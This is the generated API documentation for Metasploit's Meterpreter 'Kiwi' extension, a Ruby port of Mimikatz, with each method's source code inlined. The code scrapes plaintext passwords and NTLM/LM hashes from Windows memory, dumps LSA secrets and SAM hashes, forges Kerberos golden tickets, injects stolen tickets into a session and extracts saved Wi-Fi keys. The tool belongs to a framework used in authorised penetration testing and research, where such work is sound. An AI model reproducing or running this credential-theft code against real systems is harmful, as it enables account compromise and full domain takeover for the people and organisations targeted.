class Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi
Kiwi
extension - grabs credentials from windows memory.
Benjamin DELPY ‘gentilkiwi` blog.gentilkiwi.com/mimikatz
extension converted by OJ Reeves (TheColonial)
Constants
- KERBEROS_FLAGS
List of names which represent the flags that are part of the dumped kerberos tickets. The order of these is important. Each of them was pulled from the
Mimikatz
2.0 source base.- PWD_ID_SEK_ALLPASS
These are constants that identify the type of credential to dump from the target machine.
- PWD_ID_SEK_DPAPI
- PWD_ID_SEK_KERBEROS
- PWD_ID_SEK_LIVESSP
- PWD_ID_SEK_MSV
- PWD_ID_SEK_SSP
- PWD_ID_SEK_TSPKG
- PWD_ID_SEK_WDIGEST
Public Class Methods
Typical extension initialization routine.
@param client (see Extension#initialize)
Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 64 def initialize(client) super(client, 'kiwi') client.register_extension_aliases( [ { 'name' => 'kiwi', 'ext' => self }, ]) end
Public Instance Methods
Scrape all passwords from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 305 def all_pass scrape_passwords(PWD_ID_SEK_ALLPASS) end
Create a new golden kerberos ticket on the target machine and return it.
@param user [String] Name of the user to create the ticket for. @param domain [String] Domain name. @param sid [String] SID of the domain. @param tgt [String] The kerberos ticket granting token. @param id [Fixnum] ID of the user to grant the token for. @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user
@return [String]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 218 def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) request = Packet.create_request('kiwi_kerberos_golden_ticket_create') request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain) request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid) request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt) request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id) group_ids.each do |g| request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g) end response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) end
Scrape Kerberos credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 353 def kerberos scrape_passwords(PWD_ID_SEK_KERBEROS) end
List available kerberos tickets.
@param export [Bool] Set to true
to export the content of each ticket
@return [Array<Hash>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 155 def kerberos_ticket_list(export) export ||= false request = Packet.create_request('kiwi_kerberos_ticket_list') request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export) response = client.send_request(request) results = [] response.each(TLV_TYPE_KIWI_KERB_TKT) do |t| results << { :enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE), :start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START), :end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END), :max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW), :server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME), :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM), :client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME), :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM), :flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS), :raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) } end results end
Purge any Kerberos tickets that have been added to the current session.
@return [void]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 200 def kerberos_ticket_purge request = Packet.create_request('kiwi_kerberos_ticket_purge') client.send_request(request) return true end
Use the given ticket in the current session.
@param ticket [String] Content of the Kerberos ticket to use.
@return [void]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 188 def kerberos_ticket_use(ticket) request = Packet.create_request('kiwi_kerberos_ticket_use') request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) client.send_request(request) return true end
Scrape LiveSSP credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 329 def livessp scrape_passwords(PWD_ID_SEK_LIVESSP) end
Dump the LSA secrets from the target machine.
@return [Hash<Symbol,Object>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 80 def lsa_dump request = Packet.create_request('kiwi_lsa_dump_secrets') response = client.send_request(request) result = { :major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ), :minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN), :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME), :syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY), :nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY), :nt6keys => [], :secrets => [], :samkeys => [] } response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k| result[:nt6keys] << { :id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID), :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE) } end response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s| result[:secrets] << { :name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME), :service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV), :ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM), :current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR), :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW), :old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD), :old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW) } end response.each(TLV_TYPE_KIWI_LSA_SAM) do |s| result[:samkeys] << { :rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID), :user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER), :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH), :lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH) } end result end
Scrape msv credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 321 def msv scrape_passwords(PWD_ID_SEK_MSV) end
Scrape passwords from the target machine.
@param pwd_id [Fixnum] ID of the type credential to scrape.
@return [Array<Hash>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 280 def scrape_passwords(pwd_id) request = Packet.create_request('kiwi_scrape_passwords') request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) response = client.send_request(request) results = [] response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| results << { :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), :auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI), :auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO), :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) } end return results end
Scrape SSP credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 337 def ssp scrape_passwords(PWD_ID_SEK_SSP) end
Convert a flag set to a list of string representations for the bit flags that are set.
@param flags [Fixnum] Integer bitmask of Kerberos token flags.
@return [Array<String>] Names of all set flags in flags
. See
{KERBEROS_FLAGS}
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 135 def to_kerberos_flag_list(flags) flags = flags >> 16 results = [] KERBEROS_FLAGS.each_with_index do |item, idx| if (flags & (1 << idx)) != 0 results << item end end results end
Scrape TSPKG credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 345 def tspkg scrape_passwords(PWD_ID_SEK_TSPKG) end
Scrape wdigest credentials from the target machine.
@return (see scrape_passwords
)
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 313 def wdigest scrape_passwords(PWD_ID_SEK_WDIGEST) end
List all the wifi interfaces and the profiles associated with them. Also show the raw text passwords for each.
@return [Array<Hash>]
# File lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb, line 239 def wifi_list request = Packet.create_request('kiwi_wifi_profile_list') response = client.send_request(request) results = [] response.each(TLV_TYPE_KIWI_WIFI_INT) do |i| interface = { :guid => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)), :desc => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC), :state => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE), :profiles => [] } i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p| xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML) doc = REXML::Document.new(xml) profile = doc.elements['WLANProfile'] interface[:profiles] << { :name => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME), :auth => profile.elements['MSM/security/authEncryption/authentication'].text, :key_type => profile.elements['MSM/security/sharedKey/keyType'].text, :shared_key => profile.elements['MSM/security/sharedKey/keyMaterial'].text } end results << interface end return results end